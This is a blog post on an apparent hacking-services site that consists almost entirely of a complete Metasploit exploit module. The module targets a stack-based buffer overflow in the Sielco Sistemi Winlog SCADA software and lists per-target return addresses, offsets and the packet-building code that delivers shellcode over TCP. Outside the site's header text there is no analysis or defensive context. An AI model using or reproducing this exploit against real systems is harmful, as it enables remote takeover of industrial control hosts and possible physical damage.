Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86370081

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Sielco Sistemi Winlog <= 2.07.16',
			'Description'    => %q{
				This module exploits a stack based buffer overflow
				found in Sielco Sistemi Winlog <= 2.07.16. The
				overflow is triggered during the parsing of a
				maliciously crafted packet
			},
			'Author'         => [ 'James Fitts' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision: $',
			'References'     =>
				[
				],
			'Privileged'     => true,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space' => 150,
					'BadChars' => "\x00\x0a\x0d\x20",
					'DisableNops' => 'True',
					# add esp, -5500
					'PrependEncoder' => "\x81\xc4\x84\xea\xff\xff",
					'Compat'	=>
						{
							'SymbolLookup' => 'ws2ord',
						}
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[
						'Windows XP SP3 EN (Automatic Washing System Demo)',
							{
								# vcldb40.bpl
								# jmp esp
								'Ret' => 0x46035f8b,
								'Offset' => 160,
								'jmp' => "\xe9\x56\xff\xff\xff",
							}
					],
					[
						'Windows XP SP3 EN (Car Simulation)',
							{
								# vcl40.bpl
								# jmp esp
								'Ret' => 0x4003eb6b,
								'Offset' => 175,
								'jmp' => "\xe9\x46\xff\xff\xff",
							}
					],
					[ 
						'Windows XP SP3 EN (Ceramics Kiln)', 
							{ 
								# ter19.dll
								# push esp/ retn
								'Ret' => 0x258b4432,
								'Offset' => 176,
								'jmp' => "\xe9\x46\xff\xff\xff",
							} 
					],
				],
			'DefaultTarget' => 0,
			'DisclosureDate' => 'Jun 26 2012'))

		register_options([Opt::RPORT(46824)], self.class)
	end

	def exploit
		connect

		boom =  rand_text_alpha_upper(20)
		boom << 'x'
		boom << rand_text_alpha_upper(target['Offset'])
		boom << [target.ret].pack('V')
		boom << "\x41" * 4
		boom << target['jmp']
		boom << "\xcc" * (281 - boom.length)

		boom[22,4] = "\x41" * 4
		boom[26,payload.encoded.length] = payload.encoded

		print_status("Trying target #{target.name}...")
		sock.put(boom)

		handler
	end

end